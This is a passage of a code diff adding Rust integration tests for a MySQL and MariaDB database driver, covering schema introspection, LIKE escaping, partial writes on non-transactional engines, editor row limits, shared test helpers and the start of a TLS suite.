rows(connection.as_ref(), "SELECT e FROM kinds ORDER BY e") + .await + .into_iter() + .map(|mut row| row.remove(0)) + .collect(); + assert_eq!(read, labels.into_iter().map(Value::Text).collect::>()); + connection.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn fetch_table_definition_reports_pk_name_collation_comment() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE described (\ + id int AUTO_INCREMENT PRIMARY KEY, \ + name varchar(20) COLLATE utf8mb4_bin COMMENT 'shown name', \ + changed timestamp(3) NULL DEFAULT CURRENT_TIMESTAMP(3) ON UPDATE CURRENT_TIMESTAMP(3), \ + base int, \ + doubled int GENERATED ALWAYS AS (base * 2) STORED, \ + hidden int INVISIBLE)"], + ) + .await; + + let definition = connection + .fetch_table_definition(&table("described"), within(CALL)) + .await + .expect("the definition"); + + let primary = definition.primary_key.as_ref().expect("a primary key"); + assert_eq!(primary.name.as_deref(), Some("PRIMARY")); + assert_eq!(primary.columns, ["id"]); + let id = definition.column("id").expect("id"); + assert_eq!(id.attributes.identity, IdentityStyle::AutoIncrementKeyword); + let name = definition.column("name").expect("name"); + assert_eq!( + name.attributes + .collation + .as_ref() + .map(|collation| collation.name.as_str()), + Some("utf8mb4_bin") + ); + assert_eq!(name.attributes.character_set.as_deref(), Some("utf8mb4")); + assert_eq!(name.info.comment.as_deref(), Some("shown name")); + let changed = definition.column("changed").expect("changed"); + assert!( + changed + .attributes + .on_update + .as_ref() + .is_some_and(|expression| expression + .as_sql() + .to_ascii_lowercase() + .starts_with("current_timestamp")), + "{flavour:?}: {:?}", + changed.attributes.on_update + ); + let doubled = definition.column("doubled").expect("doubled"); + assert_eq!( + doubled.attributes.generated.as_ref().map(|generated| generated.storage), + Some(GeneratedStorage::Stored) + ); + assert!(doubled.info.is_generated); + let hidden = definition.column("hidden").expect("hidden"); + assert_eq!(hidden.attributes.visibility, ColumnVisibility::Invisible, "{flavour:?}"); + let source = definition.source.as_ref().expect("the table's source"); + assert!( + source.create_statement.starts_with("CREATE TABLE `described`"), + "{flavour:?}" + ); + connection.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn fetch_table_definition_lists_inbound_foreign_keys() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE parent (id int, rev int, PRIMARY KEY (id, rev))", + "CREATE TABLE child (id int PRIMARY KEY, parent_id int, parent_rev int, \ + CONSTRAINT child_parent FOREIGN KEY (parent_id, parent_rev) REFERENCES parent (id, rev) \ + ON DELETE CASCADE)", + ], + ) + .await; + + let parent = connection + .fetch_table_definition(&table("parent"), within(CALL)) + .await + .expect("the parent"); + let child = connection + .fetch_table_definition(&table("child"), within(CALL)) + .await + .expect("the child"); + + let inbound = &parent.inbound_foreign_keys; + assert_eq!(inbound.len(), 1, "{flavour:?}"); + assert_eq!(inbound[0].name, "child_parent"); + assert_eq!(inbound[0].table.name, "child"); + assert_eq!(inbound[0].columns, ["parent_id", "parent_rev"]); + assert_eq!(inbound[0].referenced_columns, ["id", "rev"]); + let outbound = &child.foreign_keys; + assert_eq!(outbound.len(), 1); + assert_eq!(outbound[0].ref_table, "parent"); + assert_eq!( + outbound[0].on_delete, + Some(tablepro_core::ddl::ReferentialAction::Cascade) + ); + connection.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn objects_and_estimates_are_listed() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE listed (id int PRIMARY KEY)", + "CREATE VIEW listed_view AS SELECT id FROM listed", + "CREATE PROCEDURE listed_procedure() SELECT 1", + "CREATE FUNCTION listed_function() RETURNS int DETERMINISTIC RETURN 1", + ], + ) + .await; + + let objects = connection + .list_objects(&ObjectScope::DefaultSchema, within(CALL)) + .await + .expect("the objects"); + let schemas = connection.list_schemas(within(CALL)).await.expect("the schemas"); + let estimate = connection + .table_estimate(&table("listed"), within(CALL)) + .await + .expect("an estimate"); + + let kind_of = |name: &str| { + objects + .iter() + .find(|object| object.name == name) + .map(|object| object.kind) + }; + assert_eq!(kind_of("listed"), Some(ObjectKind::Table), "{flavour:?}"); + assert_eq!(kind_of("listed_view"), Some(ObjectKind::View)); + assert_eq!(kind_of("listed_procedure"), Some(ObjectKind::Procedure)); + assert_eq!(kind_of("listed_function"), Some(ObjectKind::Function)); + assert_eq!(schemas.len(), 1); + assert_eq!(schemas[0].name, "tablepro"); + assert!(schemas[0].is_default); + assert!(estimate.rows.value().is_some(), "{flavour:?}: {estimate:?}"); + connection.close().await.expect("a close"); + } +} + +async fn names_matching( + connection: &dyn Connection, + dialect: &dyn SqlDialect, + column: &str, + pattern: Value, + form: LikeForm, +) -> Vec { + let mut builder = StatementBuilder::new(); + let column_sql = dialect.quote_identifier(column); + builder.push_sql(&format!( + "SELECT {column_sql} FROM {} WHERE ", + dialect.qualify(&table("names")) + )); + let marker = builder + .bind(dialect, pattern, BindTarget::Pattern) + .expect("a pattern parameter"); + builder.push_sql(&dialect.like_predicate(&column_sql, &marker, form)); + builder.push_sql(&format!(" ORDER BY {column_sql}")); + connection + .query_bound(&builder.finish(), RowLimit::EDITOR_DEFAULT, within(CALL)) + .await + .expect("a filtered read") + .rows + .into_iter() + .map(|row| crate::support::text(&row[0])) + .collect() +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn like_escape_matches_literal_underscore_and_percent() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE names (name varchar(20))", + "INSERT INTO names VALUES ('user_id'), ('userXid'), ('50%'), ('500')", + ], + ) + .await; + let dialect = connection.dialect(); + let contains = |text: &str| Value::Text(format!("%{}%", dialect.escape_like_text(text))); + + let underscore = names_matching( + connection.as_ref(), + dialect.as_ref(), + "name", + contains("user_id"), + LikeForm::contains(), + ) + .await; + let percent = names_matching( + connection.as_ref(), + dialect.as_ref(), + "name", + contains("50%"), + LikeForm::contains(), + ) + .await; + + assert_eq!(underscore, ["user_id"], "{flavour:?}"); + assert_eq!(percent, ["50%"], "{flavour:?}"); + connection.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn insensitive_filter_matches_mixed_case() { + let fixture = start(MysqlFlavour::Mysql).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE names (name varchar(20) COLLATE utf8mb4_bin)", + "INSERT INTO names VALUES ('Alpha'), ('Beta')", + ], + ) + .await; + let dialect = connection.dialect(); + + let sensitive = names_matching( + connection.as_ref(), + dialect.as_ref(), + "name", + Value::Text("%alp%".to_owned()), + LikeForm::raw(false), + ) + .await; + let insensitive = names_matching( + connection.as_ref(), + dialect.as_ref(), + "name", + Value::Text("%alp%".to_owned()), + LikeForm::insensitive(false), + ) + .await; + + assert!(sensitive.is_empty(), "a _bin collation compares case: {sensitive:?}"); + assert_eq!(insensitive, ["Alpha"]); + connection.close().await.expect("a close"); +} diff --git a/linux/crates/drivers/mysql/tests/integration/non_transactional.rs b/linux/crates/drivers/mysql/tests/integration/non_transactional.rs new file mode 100644 index 0000000000..8d0adb8302 --- /dev/null +++ b/linux/crates/drivers/mysql/tests/integration/non_transactional.rs @@ -0,0 +1,238 @@ +//! Saves on engines that cannot roll back: each statement lands as it +//! runs, and the error says how many did. + +use tablepro_core::statement::GuardedStatement; +use tablepro_core::{DriverError, ForeignKeyMode, StatementOutcome, WriteBatch, WriteKind}; +use tablepro_test_fixtures::MysqlFlavour; + +use crate::support::{CALL, FLAVOURS, connect, count, setup, start, statement, table, within}; + +fn guarded(sql: &str, rows: u64) -> GuardedStatement { + GuardedStatement::affecting_exactly(statement(sql), rows) +} + +fn plain(sql: &str) -> GuardedStatement { + GuardedStatement::unguarded(statement(sql)) +} + +fn batch(name: &str, steps: Vec) -> WriteBatch { + WriteBatch::new(WriteKind::RowChanges, table(name), steps, ForeignKeyMode::Enforced) +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn myisam_second_statement_fails_partially_applied_applied_1() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE plain (id int PRIMARY KEY) ENGINE=MyISAM"], + ) + .await; + + let outcome = connection + .write_batch( + &batch( + "plain", + vec![ + plain("INSERT INTO plain VALUES (1)"), + plain("INSERT INTO plain VALUES (1)"), + ], + ), + within(CALL), + ) + .await; + + assert!( + matches!( + outcome, + Err(DriverError::PartiallyApplied { + applied: 1, + statement_index: 1, + failed_outcome: StatementOutcome::Failed, + .. + }) + ), + "{flavour:?}: {outcome:?}" + ); + assert_eq!(count(connection.as_ref(), "SELECT COUNT(*) FROM plain").await, 1); + connection.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn myisam_guard_mismatch_at_second_step_stops_partially_applied() { + let fixture = start(MysqlFlavour::Mysql).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE plain (id int PRIMARY KEY, v int) ENGINE=MyISAM", + "INSERT INTO plain VALUES (1, 0), (2, 0)", + ], + ) + .await; + + let outcome = connection + .write_batch( + &batch( + "plain", + vec![ + guarded("UPDATE plain SET v = 1 WHERE id = 1", 1), + guarded("UPDATE plain SET v = 1 WHERE id = 99", 1), + guarded("UPDATE plain SET v = 1 WHERE id = 2", 1), + ], + ), + within(CALL), + ) + .await; + + let source = match &outcome { + Err(DriverError::PartiallyApplied { + applied: 1, + statement_index: 1, + source, + .. + }) => source.as_ref(), + other => panic!("{other:?}"), + }; + assert!(matches!( + source, + DriverError::RowGuardFailed { + statement_index: 1, + expected: 1, + actual: 0 + } + )); + assert_eq!( + count(connection.as_ref(), "SELECT COUNT(*) FROM plain WHERE v = 1").await, + 1 + ); + connection.close().await.expect("a close"); +} + +/// The probe-free guard of the first statement fails before anything +/// else runs, so nothing is applied. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn myisam_guard_mismatch_at_first_step_row_guard_failed_nothing_applied() { + let fixture = start(MysqlFlavour::Mysql).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE plain (id int PRIMARY KEY, v int) ENGINE=MyISAM", + "INSERT INTO plain VALUES (1, 0)", + ], + ) + .await; + + let outcome = connection + .write_batch( + &batch( + "plain", + vec![ + guarded("UPDATE plain SET v = 1 WHERE id = 99", 1), + guarded("UPDATE plain SET v = 1 WHERE id = 1", 1), + ], + ), + within(CALL), + ) + .await; + + assert_eq!( + outcome, + Err(DriverError::RowGuardFailed { + statement_index: 0, + expected: 1, + actual: 0 + }) + ); + assert_eq!( + count(connection.as_ref(), "SELECT COUNT(*) FROM plain WHERE v = 1").await, + 0 + ); + connection.close().await.expect("a close"); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn aria_table_uses_statement_by_statement() { + let fixture = start(MysqlFlavour::Mariadb).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE aria (id int PRIMARY KEY) ENGINE=Aria"], + ) + .await; + + let outcome = connection + .write_batch( + &batch( + "aria", + vec![ + plain("INSERT INTO aria VALUES (1)"), + plain("INSERT INTO aria VALUES (1)"), + ], + ), + within(CALL), + ) + .await; + + assert!( + matches!(outcome, Err(DriverError::PartiallyApplied { applied: 1, .. })), + "{outcome:?}" + ); + assert_eq!(count(connection.as_ref(), "SELECT COUNT(*) FROM aria").await, 1); + connection.close().await.expect("a close"); +} + +/// An InnoDB save rolls back, but what its trigger wrote into a MyISAM +/// table stays, and the server's warning 1196 says so. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn innodb_trigger_into_myisam_rollback_warning_1196_partially_applied() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE source (id int PRIMARY KEY) ENGINE=InnoDB", + "CREATE TABLE audit (id int) ENGINE=MyISAM", + "CREATE TRIGGER source_audit AFTER INSERT ON source FOR EACH ROW INSERT INTO audit VALUES (NEW.id)", + ], + ) + .await; + + let outcome = connection + .write_batch( + &batch( + "source", + vec![ + plain("INSERT INTO source VALUES (1)"), + plain("INSERT INTO source VALUES (1)"), + ], + ), + within(CALL), + ) + .await; + + assert!( + matches!( + outcome, + Err(DriverError::PartiallyApplied { + applied: 1, + statement_index: 1, + .. + }) + ), + "{flavour:?}: {outcome:?}" + ); + assert_eq!(count(connection.as_ref(), "SELECT COUNT(*) FROM source").await, 0); + assert_eq!(count(connection.as_ref(), "SELECT COUNT(*) FROM audit").await, 1); + connection.close().await.expect("a close"); + } +} diff --git a/linux/crates/drivers/mysql/tests/integration/row_limit.rs b/linux/crates/drivers/mysql/tests/integration/row_limit.rs new file mode 100644 index 0000000000..28a1854d6c --- /dev/null +++ b/linux/crates/drivers/mysql/tests/integration/row_limit.rs @@ -0,0 +1,189 @@ +//! The editor's row limit: `sql_select_limit` stops a plain SELECT one +//! row past it, and whatever the server sends beyond that is counted, +//! not kept. + +use std::sync::Arc; + +use tablepro_core::{Connection, EditorSession, RowLimit, RunEnd, RunOptions, Truncation}; +use tablepro_test_fixtures::MysqlFixture; +use tokio_util::sync::CancellationToken; + +use crate::support::{FLAVOURS, connect, count, run_ok, run_with, session, setup, start}; + +const BIG_ROWS: u64 = 200_000; + +/// Two hundred thousand ids, built from a cross join of digits so no +/// recursion limit is in the way. +const FILL_BIG: &str = "INSERT INTO big (id) \ + SELECT n FROM (SELECT a.d + 10 * b.d + 100 * c.d + 1000 * e.d + 10000 * f.d + 100000 * g.d + 1 AS n \ + FROM (SELECT 0 AS d UNION ALL SELECT 1 UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 \ + UNION ALL SELECT 5 UNION ALL SELECT 6 UNION ALL SELECT 7 UNION ALL SELECT 8 UNION ALL SELECT 9) a \ + CROSS JOIN (SELECT 0 AS d UNION ALL SELECT 1 UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 \ + UNION ALL SELECT 5 UNION ALL SELECT 6 UNION ALL SELECT 7 UNION ALL SELECT 8 UNION ALL SELECT 9) b \ + CROSS JOIN (SELECT 0 AS d UNION ALL SELECT 1 UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 \ + UNION ALL SELECT 5 UNION ALL SELECT 6 UNION ALL SELECT 7 UNION ALL SELECT 8 UNION ALL SELECT 9) c \ + CROSS JOIN (SELECT 0 AS d UNION ALL SELECT 1 UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 \ + UNION ALL SELECT 5 UNION ALL SELECT 6 UNION ALL SELECT 7 UNION ALL SELECT 8 UNION ALL SELECT 9) e \ + CROSS JOIN (SELECT 0 AS d UNION ALL SELECT 1 UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 \ + UNION ALL SELECT 5 UNION ALL SELECT 6 UNION ALL SELECT 7 UNION ALL SELECT 8 UNION ALL SELECT 9) f \ + CROSS JOIN (SELECT 0 AS d UNION ALL SELECT 1) g) digits WHERE n <= 200000"; + +async fn with_big(fixture: &MysqlFixture) -> (Arc, Arc) { + let connection = connect(fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE big (id int PRIMARY KEY)", FILL_BIG], + ) + .await; + assert_eq!(count(connection.as_ref(), "SELECT COUNT(*) FROM big").await, BIG_ROWS); + let editor = session(connection.as_ref()).await; + (connection, editor) +} + +fn limited(rows: u64) -> RunOptions { + RunOptions::new(CancellationToken::new()).with_row_limit(RowLimit::new(rows).expect("a limit")) +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn limit_100_over_200k_rows_server_stopped_101_sent() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let (connection, editor) = with_big(&fixture).await; + + let (summary, events) = run_with(editor.as_ref(), "SELECT id FROM big", limited(100)).await; + + assert_eq!(summary.end, RunEnd::Completed, "{flavour:?}"); + assert_eq!(events.rows().len(), 100, "{flavour:?}"); + assert_eq!( + events.finished(), + [(100, None, Truncation::ServerStopped)], + "{flavour:?}" + ); + editor.close().await; + connection.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn explicit_limit_150000_read_past_limit() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let (connection, editor) = with_big(&fixture).await; + + let (summary, events) = run_with(editor.as_ref(), "SELECT id FROM big LIMIT 150000", limited(100)).await; + + assert_eq!(summary.end, RunEnd::Completed, "{flavour:?}"); + assert_eq!(events.rows().len(), 100, "{flavour:?}"); + assert_eq!( + events.finished(), + [(100, Some(150_000), Truncation::ReadPastLimit)], + "{flavour:?}" + ); + editor.close().await; + connection.close().await.expect("a close"); + } +} + +/// The limit applies to what the client is sent, never to a subquery. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn subquery_count_full() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let (connection, editor) = with_big(&fixture).await; + + let (_, events) = run_with( + editor.as_ref(), + "SELECT COUNT(*) FROM (SELECT id FROM big) AS every_row", + limited(100), + ) + .await; + + assert_eq!( + events + .rows() + .first() + .and_then(|row| row.first()) + .map(crate::support::text), + Some(BIG_ROWS.to_string()), + "{flavour:?}" + ); + editor.close().await; + connection.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn insert_select_copies_200000() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let (connection, editor) = with_big(&fixture).await; + + let (summary, events) = run_with( + editor.as_ref(), + "CREATE TABLE copied LIKE big; INSERT INTO copied SELECT id FROM big", + limited(100), + ) + .await; + + assert_eq!(summary.end, RunEnd::Completed, "{flavour:?}"); + assert_eq!(events.affected().last(), Some(&Some(BIG_ROWS)), "{flavour:?}"); + assert_eq!( + count(connection.as_ref(), "SELECT COUNT(*) FROM copied").await, + BIG_ROWS + ); + editor.close().await; + connection.close().await.expect("a close"); + } +} + +/// A SELECT inside a routine is not cut by `sql_select_limit`, so the +/// editor reads it to its end and keeps the limit's worth. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn call_procedure_read_past_limit() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let (connection, editor) = with_big(&fixture).await; + run_ok(editor.as_ref(), "CREATE PROCEDURE every_id() SELECT id FROM big").await; + + let (summary, events) = run_with(editor.as_ref(), "CALL every_id()", limited(100)).await; + + assert_eq!(summary.end, RunEnd::Completed, "{flavour:?}"); + assert_eq!( + events.finished(), + [(100, Some(BIG_ROWS), Truncation::ReadPastLimit)], + "{flavour:?}" + ); + editor.close().await; + connection.close().await.expect("a close"); + } +} + +/// A limited read inside a transaction leaves the transaction open, and +/// the COMMIT after it lands what came before. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn begin_insert_big_select_commit_persists() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let (connection, editor) = with_big(&fixture).await; + setup(connection.as_ref(), &["CREATE TABLE kept (id int PRIMARY KEY)"]).await; + + run_ok(editor.as_ref(), "BEGIN; INSERT INTO kept VALUES (1)").await; + let (summary, _) = run_with(editor.as_ref(), "SELECT id FROM big", limited(100)).await; + assert_eq!(summary.end, RunEnd::Completed, "{flavour:?}"); + run_ok(editor.as_ref(), "COMMIT").await; + + assert_eq!( + count(connection.as_ref(), "SELECT COUNT(*) FROM kept").await, + 1, + "{flavour:?}" + ); + editor.close().await; + connection.close().await.expect("a close"); + } +} diff --git a/linux/crates/drivers/mysql/tests/integration/support.rs b/linux/crates/drivers/mysql/tests/integration/support.rs new file mode 100644 index 0000000000..edf1d3333d --- /dev/null +++ b/linux/crates/drivers/mysql/tests/integration/support.rs @@ -0,0 +1,312 @@ +//! What the MySQL integration modules share: fixtures for both servers, +//! targets over their ports, one-line calls, and a sink that keeps what +//! it gets. + +use std::sync::{Arc, Mutex, PoisonError}; +use std::time::Duration; + +use async_trait::async_trait; +use drivers_mysql::MysqlDriver; +use secrecy::SecretString; +use tablepro_core::statement::{GuardedStatement, Statement, StatementBuilder}; +use tablepro_core::{ + CallOptions, ConnectEnvironment, ConnectOptions, ConnectTarget, Connection, Credentials, DatabaseDriver, + DriverError, EditorSession, EditorSessionOptions, ForeignKeyMode, LivenessPolicy, NetworkEndpoint, NetworkTarget, + ResultEvent, ResultSink, RunEnd, RunOptions, RunSummary, SinkFlow, TableRef, TlsConfig, Transport, Truncation, + UserSql, Value, WorkspaceSettings, WriteBatch, WriteKind, WriteReport, +}; +use tablepro_net::DirectTcpTransport; +use tablepro_test_fixtures::{FixtureCredentials, MysqlFixture, MysqlFlavour, MysqlOptions}; +use tablepro_test_support::conformance::test_liveness; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +pub const CALL: Duration = Duration::from_secs(30); + +pub const FLAVOURS: [MysqlFlavour; 2] = [MysqlFlavour::Mysql, MysqlFlavour::Mariadb]; + +pub fn within(limit: Duration) -> CallOptions { + CallOptions::new(Some(Instant::now() + limit), CancellationToken::new()) +} + +pub fn statement(sql: &str) -> Statement { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + builder.finish() +} + +pub fn direct(host: &str, port: u16, liveness: &LivenessPolicy) -> Arc { + let endpoint = NetworkEndpoint::new(host, port).expect("a valid endpoint"); + Arc::new(DirectTcpTransport::new(endpoint, liveness)) +} + +pub fn password(credentials: &FixtureCredentials) -> Credentials { + Credentials::Password { + username: credentials.username.clone(), + password: SecretString::from(credentials.password.clone()), + } +} + +pub fn options_over( + transport: Arc, + credentials: Credentials, + database: &str, + tls: TlsConfig, + settings: WorkspaceSettings, + liveness: LivenessPolicy, +) -> ConnectOptions { + ConnectOptions { + target: ConnectTarget::Network(NetworkTarget { + transport, + credentials, + database: Some(database.to_owned()), + tls, + }), + workspace_settings: settings, + liveness, + environment: ConnectEnvironment::new("test"), + } +} + +/// A server that takes plaintext logins, which every test but the TLS +/// ones uses. +/// The password user may create triggers and routines, so a test +/// needs root only for what only root may do. +pub async fn start(flavour: MysqlFlavour) -> MysqlFixture { + start_with( + MysqlOptions::new(flavour) + .allowing_plaintext() + .trusting_function_creators(), + ) + .await +} + +pub async fn start_with(options: MysqlOptions) -> MysqlFixture { + MysqlFixture::start_with(options, None) + .await + .expect("a MySQL container") +} + +pub fn fixture_options( + fixture: &MysqlFixture, + credentials: &FixtureCredentials, + settings: WorkspaceSettings, +) -> ConnectOptions { + let liveness = test_liveness(); + options_over( + direct(fixture.host(), fixture.port(), &liveness), + password(credentials), + fixture.database(), + TlsConfig::disabled(), + settings, + liveness, + ) +} + +pub async fn connect_with(options: ConnectOptions) -> Arc { + MysqlDriver + .connect(options, CancellationToken::new()) + .await + .expect("a connection") +} + +pub async fn connect_settings(fixture: &MysqlFixture, settings: WorkspaceSettings) -> Arc { + connect_with(fixture_options(fixture, &fixture.password_credentials(), settings)).await +} + +pub async fn connect(fixture: &MysqlFixture, read_only: bool) -> Arc { + connect_settings(fixture, WorkspaceSettings::workspace(read_only)).await +} + +/// The image's root, for a test that changes a global or reads another +/// session's transaction. +pub async fn connect_root(fixture: &MysqlFixture) -> Arc { + connect_with(fixture_options( + fixture, + &fixture.root_credentials(), + WorkspaceSettings::workspace(false), + )) + .await +} + +pub fn table(name: &str) -> TableRef { + TableRef::new(Some("tablepro".to_owned()), name) +} + +/// Run statements as one schema-change batch, for setup. +pub async fn setup(connection: &dyn Connection, statements: &[&str]) { + apply(connection, WriteKind::SchemaChanges, statements) + .await + .expect("the setup statements"); +} + +pub async fn apply( + connection: &dyn Connection, + kind: WriteKind, + statements: &[&str], +) -> Result { + apply_on(connection, kind, &TableRef::unqualified("t"), statements).await +} + +pub async fn apply_on( + connection: &dyn Connection, + kind: WriteKind, + table: &TableRef, + statements: &[&str], +) -> Result { + let mut batch = batch(table, statements); + batch.kind = kind; + connection.write_batch(&batch, within(CALL)).await +} + +/// Row changes on `table`, each statement unguarded. +pub fn batch(table: &TableRef, statements: &[&str]) -> WriteBatch { + let steps = statements + .iter() + .map(|sql| GuardedStatement::unguarded(statement(sql))) + .collect(); + WriteBatch::new(WriteKind::RowChanges, table.clone(), steps, ForeignKeyMode::Enforced) +} + +pub async fn rows(connection: &dyn Connection, sql: &str) -> Vec> { + connection + .query_bound(&statement(sql), tablepro_core::RowLimit::EDITOR_DEFAULT, within(CALL)) + .await + .expect("a read") + .rows +} + +pub async fn scalar(connection: &dyn Connection, sql: &str) -> Value { + rows(connection, sql) + .await + .into_iter() + .next() + .and_then(|row| row.into_iter().next()) + .expect("one value") +} + +pub async fn count(connection: &dyn Connection, sql: &str) -> u64 { + connection + .count_rows(&statement(sql), within(CALL)) + .await + .expect("a count") +} + +pub async fn session(connection: &dyn Connection) -> Arc { + session_with(connection, EditorSessionOptions::default()).await +} + +pub async fn session_with(connection: &dyn Connection, options: EditorSessionOptions) -> Arc { + connection + .open_editor_session(options, CancellationToken::new()) + .await + .expect("an editor session") +} + +/// The events of one run, kept after the sink is gone. +#[derive(Debug, Clone, Default)] +pub struct Events(Arc>>); + +impl Events { + pub fn all(&self) -> Vec { + self.0.lock().unwrap_or_else(PoisonError::into_inner).clone() + } + + pub fn rows(&self) -> Vec> { + self.all() + .into_iter() + .filter_map(|event| match event { + ResultEvent::Rows(rows) => Some(rows), + _ => None, + }) + .flatten() + .collect() + } + + pub fn started(&self) -> usize { + self.all() + .iter() + .filter(|event| matches!(event, ResultEvent::ResultSetStarted { .. })) + .count() + } + + /// Each finished set's retained rows, total and truncation. + pub fn finished(&self) -> Vec<(u64, Option, Truncation)> { + self.all() + .into_iter() + .filter_map(|event| match event { + ResultEvent::ResultSetFinished { + retained, + total_rows, + truncation, + } => Some((retained, total_rows, truncation)), + _ => None, + }) + .collect() + } + + pub fn affected(&self) -> Vec> { + self.all() + .into_iter() + .filter_map(|event| match event { + ResultEvent::CommandCompleted { rows_affected } => Some(rows_affected), + _ => None, + }) + .collect() + } +} + +pub struct EventSink { + events: Events, +} + +impl EventSink { + pub fn new(events: &Events) -> Self { + Self { events: events.clone() } + } +} + +#[async_trait] +impl ResultSink for EventSink { + async fn accept(&mut self, event: ResultEvent) -> SinkFlow { + self.events.0.lock().unwrap_or_else(PoisonError::into_inner).push(event); + SinkFlow::Continue + } +} + +pub async fn run_with(session: &dyn EditorSession, sql: &str, options: RunOptions) -> (RunSummary, Events) { + let events = Events::default(); + let summary = session + .run(UserSql::new(sql), options, Box::new(EventSink::new(&events))) + .await + .expect("the session ran the script"); + (summary, events) +} + +pub async fn run(session: &dyn EditorSession, sql: &str) -> (RunSummary, Events) { + run_with(session, sql, RunOptions::new(CancellationToken::new())).await +} + +pub async fn run_ok(session: &dyn EditorSession, sql: &str) -> Events { + let (summary, events) = run(session, sql).await; + assert_eq!(summary.end, RunEnd::Completed, "`{sql}` did not complete"); + events +} + +pub fn text(value: &Value) -> String { + match value { + Value::Text(text) => text.clone(), + other => tablepro_core::export::value_to_text(other).unwrap_or_default(), + } +} + +/// The first value of the only row an editor run returned, as text. +pub async fn session_scalar(session: &dyn EditorSession, sql: &str) -> String { + let events = run_ok(session, sql).await; + events + .rows() + .first() + .and_then(|row| row.first()) + .map(text) + .expect("one value") +} diff --git a/linux/crates/drivers/mysql/tests/integration/tls.rs b/linux/crates/drivers/mysql/tests/integration/tls.rs new file mode 100644 index 0000000000..dee272b5dd --- /dev/null +++ b/linux/crates/drivers/mysql/tests/integration/tls.rs @@ -0,0 +1,362 @@ +//! The TLS conformance suite against MySQL and MariaDB, and the TLS cases +//! of the socket route an SSH forward takes. + +use std::marker::PhantomData; +use std::path::{Path, PathBuf}; +use std::sync::Arc; + +use async_trait::async_trait; +use drivers_mysql::MysqlDriver; +use tablepro_core::{ + ClientIdentity, ConnectOptions, DatabaseDriver, DriverError, ErrorCategory, NetworkEndpoint, TlsConfig, TlsFailure, + TlsMode, Transport, TransportError, TransportKind, TransportRoute, TransportStream, WorkspaceSettings, +}; +use tablepro_test_fixtures::{MysqlFixture, MysqlFlavour, MysqlOptions, PkiFile, TestPki}; +use tablepro_test_support::FaultTransport; +use tablepro_test_support::conformance::{ + ClientIdentityEngine, ConformanceFailure, TlsConformanceEngine, test_liveness, +}; +use tokio_util::sync::CancellationToken; + +use crate::conformance_engine::{Mariadb114, Mysql84, Server}; +use crate::support::{FLAVOURS, direct, options_over, password, run_ok, session, start_with, text}; + +/// The name to dial so the certificate's `localhost` matches: the +/// fixture may report the loopback by address. +fn certified_host(host: &str) -> &str { + match host { + "127.0.0.1" | "::1" => TestPki::SERVER_NAMES[0], + other => other, + } +} + +pub struct MySqlTlsEngine { + fixture: MysqlFixture, + ca: PathBuf, + unrelated_ca: PathBuf, + server: PhantomData, +} + +impl MySqlTlsEngine { + fn options_to(&self, host: &str, credentials: tablepro_core::Credentials, tls: TlsConfig) -> ConnectOptions { + let liveness = test_liveness(); + options_over( + direct(host, self.fixture.port(), 